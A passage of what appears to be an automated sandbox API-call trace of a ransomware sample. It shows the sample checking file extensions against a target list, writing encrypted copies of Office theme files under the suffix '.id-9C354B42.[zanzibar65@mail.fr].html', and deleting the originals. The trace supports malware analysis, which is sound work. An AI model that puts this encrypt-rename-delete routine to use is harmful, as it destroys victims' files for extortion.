Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0272.340] lstrlenW (lpString=".jpg") returned 4 [0272.340] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.340] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0272.340] lstrlenW (lpString="Aspect.eftx") returned 11 [0272.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0272.341] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=22554) returned 1 [0272.341] CloseHandle (hObject=0x384) returned 1 [0272.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 0x20 [0272.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0272.344] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.345] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0272.345] GetLastError () returned 0x0 [0272.345] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x581a, lpOverlapped=0x0) returned 1 [0272.347] WriteFile (in: hFile=0x390, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x5820, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x5820, lpOverlapped=0x0) returned 1 [0272.349] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.349] WriteFile (in: hFile=0x390, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0272.349] SetEndOfFile (hFile=0x390) returned 1 [0272.349] CloseHandle (hObject=0x390) returned 1 [0272.349] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.349] SetEndOfFile (hFile=0x384) returned 1 [0272.354] CloseHandle (hObject=0x384) returned 1 [0272.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 1 [0272.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0272.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0272.354] lstrlenW (lpString=".doc") returned 4 [0272.354] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.354] lstrlenW (lpString=".docx") returned 5 [0272.354] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.354] lstrlenW (lpString=".pdf") returned 4 [0272.354] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.354] lstrlenW (lpString=".xls") returned 4 [0272.354] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.354] lstrlenW (lpString=".xlsx") returned 5 [0272.354] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.355] lstrlenW (lpString=".ppt") returned 4 [0272.355] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0272.355] lstrlenW (lpString=".zip") returned 4 [0272.355] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.355] lstrlenW (lpString=".rar") returned 4 [0272.355] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.355] lstrlenW (lpString=".bz2") returned 4 [0272.355] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.355] lstrlenW (lpString=".7z") returned 3 [0272.355] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0272.355] lstrlenW (lpString=".dbf") returned 4 [0272.355] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0272.355] lstrlenW (lpString=".1cd") returned 4 [0272.355] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0272.355] lstrlenW (lpString=".jpg") returned 4 [0272.355] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0272.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0272.355] lstrlenW (lpString=".doc") returned 4 [0272.355] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.355] lstrlenW (lpString=".docx") returned 5 [0272.355] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.355] lstrlenW (lpString=".pdf") returned 4 [0272.355] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.356] lstrlenW (lpString=".xls") returned 4 [0272.356] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.356] lstrlenW (lpString=".xlsx") returned 5 [0272.356] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.356] lstrlenW (lpString=".ppt") returned 4 [0272.356] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0272.356] lstrlenW (lpString=".zip") returned 4 [0272.356] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.356] lstrlenW (lpString=".rar") returned 4 [0272.356] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.356] lstrlenW (lpString=".bz2") returned 4 [0272.356] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.356] lstrlenW (lpString=".7z") returned 3 [0272.356] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0272.356] lstrlenW (lpString=".dbf") returned 4 [0272.356] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0272.356] lstrlenW (lpString=".1cd") returned 4 [0272.356] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0272.356] lstrlenW (lpString=".jpg") returned 4 [0272.356] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.356] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0272.357] lstrlenW (lpString="Austin.eftx") returned 11 [0272.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.365] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=26989) returned 1 [0272.365] CloseHandle (hObject=0x394) returned 1 [0272.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 0x20 [0272.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.365] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.365] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0272.366] GetLastError () returned 0x0 [0272.366] ReadFile (in: hFile=0x394, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x696d, lpOverlapped=0x0) returned 1 [0272.536] WriteFile (in: hFile=0x390, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x6970, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x6970, lpOverlapped=0x0) returned 1 [0272.537] ReadFile (in: hFile=0x394, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.537] WriteFile (in: hFile=0x390, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0272.537] SetEndOfFile (hFile=0x390) returned 1 [0272.537] CloseHandle (hObject=0x390) returned 1 [0272.537] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.537] SetEndOfFile (hFile=0x394) returned 1 [0272.620] CloseHandle (hObject=0x394) returned 1 [0272.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 1 [0272.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0272.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0272.669] lstrlenW (lpString=".doc") returned 4 [0272.669] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.669] lstrlenW (lpString=".docx") returned 5 [0272.669] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.669] lstrlenW (lpString=".pdf") returned 4 [0272.669] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.669] lstrlenW (lpString=".xls") returned 4 [0272.669] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.669] lstrlenW (lpString=".xlsx") returned 5 [0272.669] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.670] lstrlenW (lpString=".ppt") returned 4 [0272.670] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0272.670] lstrlenW (lpString=".zip") returned 4 [0272.670] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.670] lstrlenW (lpString=".rar") returned 4 [0272.670] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.670] lstrlenW (lpString=".bz2") returned 4 [0272.670] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.670] lstrlenW (lpString=".7z") returned 3 [0272.670] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0272.670] lstrlenW (lpString=".dbf") returned 4 [0272.670] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0272.670] lstrlenW (lpString=".1cd") returned 4 [0272.670] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0272.670] lstrlenW (lpString=".jpg") returned 4 [0272.670] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0272.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0272.670] lstrlenW (lpString=".doc") returned 4 [0272.670] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.670] lstrlenW (lpString=".docx") returned 5 [0272.670] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.670] lstrlenW (lpString=".pdf") returned 4 [0272.670] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.670] lstrlenW (lpString=".xls") returned 4 [0272.670] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.670] lstrlenW (lpString=".xlsx") returned 5 [0272.670] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.671] lstrlenW (lpString=".ppt") returned 4 [0272.671] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0272.671] lstrlenW (lpString=".zip") returned 4 [0272.671] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.671] lstrlenW (lpString=".rar") returned 4 [0272.671] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.671] lstrlenW (lpString=".bz2") returned 4 [0272.671] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.671] lstrlenW (lpString=".7z") returned 3 [0272.671] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0272.671] lstrlenW (lpString=".dbf") returned 4 [0272.671] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0272.671] lstrlenW (lpString=".1cd") returned 4 [0272.672] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0272.672] lstrlenW (lpString=".jpg") returned 4 [0272.672] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.672] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0272.672] lstrlenW (lpString="Composite.eftx") returned 14 [0272.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0272.787] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=533988) returned 1 [0272.787] CloseHandle (hObject=0x398) returned 1 [0272.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 0x20 [0272.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0272.787] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.788] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.788] GetLastError () returned 0x0 [0272.788] ReadFile (in: hFile=0x398, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x825e4, lpOverlapped=0x0) returned 1 [0272.800] WriteFile (in: hFile=0x394, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x825f0, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x825f0, lpOverlapped=0x0) returned 1 [0272.812] ReadFile (in: hFile=0x398, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.812] WriteFile (in: hFile=0x394, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0272.813] SetEndOfFile (hFile=0x394) returned 1 [0272.813] CloseHandle (hObject=0x394) returned 1 [0272.813] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.813] SetEndOfFile (hFile=0x398) returned 1 [0273.079] CloseHandle (hObject=0x398) returned 1 [0273.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 1 [0273.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.145] lstrlenW (lpString=".doc") returned 4 [0273.145] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.145] lstrlenW (lpString=".docx") returned 5 [0273.145] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.145] lstrlenW (lpString=".pdf") returned 4 [0273.145] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.145] lstrlenW (lpString=".xls") returned 4 [0273.145] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.145] lstrlenW (lpString=".xlsx") returned 5 [0273.145] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.145] lstrlenW (lpString=".ppt") returned 4 [0273.145] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.145] lstrlenW (lpString=".zip") returned 4 [0273.145] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.145] lstrlenW (lpString=".rar") returned 4 [0273.145] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.145] lstrlenW (lpString=".bz2") returned 4 [0273.145] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.145] lstrlenW (lpString=".7z") returned 3 [0273.145] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.145] lstrlenW (lpString=".dbf") returned 4 [0273.145] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.145] lstrlenW (lpString=".1cd") returned 4 [0273.145] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.146] lstrlenW (lpString=".jpg") returned 4 [0273.146] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.146] lstrlenW (lpString=".doc") returned 4 [0273.146] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString=".docx") returned 5 [0273.146] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.146] lstrlenW (lpString=".pdf") returned 4 [0273.146] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString=".xls") returned 4 [0273.146] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString=".xlsx") returned 5 [0273.146] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.146] lstrlenW (lpString=".ppt") returned 4 [0273.146] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.146] lstrlenW (lpString=".zip") returned 4 [0273.146] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString=".rar") returned 4 [0273.146] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString=".bz2") returned 4 [0273.146] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString=".7z") returned 3 [0273.146] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.146] lstrlenW (lpString=".dbf") returned 4 [0273.147] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.147] lstrlenW (lpString=".1cd") returned 4 [0273.147] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0273.147] lstrlenW (lpString=".jpg") returned 4 [0273.147] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.147] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0273.147] lstrlenW (lpString="Equity.eftx") returned 11 [0273.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.241] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=24611) returned 1 [0273.241] CloseHandle (hObject=0x38c) returned 1 [0273.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document 